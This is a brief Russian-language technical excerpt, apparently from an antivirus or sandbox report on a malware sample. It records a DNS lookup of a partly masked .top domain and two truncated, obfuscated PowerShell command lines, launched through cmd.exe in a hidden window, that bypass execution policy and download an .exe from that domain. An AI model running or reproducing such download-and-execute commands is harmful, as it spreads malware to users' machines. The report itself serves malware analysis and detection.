Техническая информация
- DNS ASK no###opoenz.top
- '<SYSTEM32>\cmd.exe' /c "powershell $urna='^ $path';$e189='^e(''http://no#########.exe'');(New-O';$_dfw='^Policy Bypass';$IRC='^user.php?f=2.';$e077='^elopoenz.top/';$f141='^ss; $path=($e';$tint='^Set-Execution';$...' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c "powershell $urna='^ $path';$e189='^e(''http://no#########.exe'');(New-O';$_dfw='^Policy Bypass';$IRC='^user.php?f=2.';$e077='^elopoenz.top/';$f141='^ss; $path=($e';$tint='^Set-Execution';$...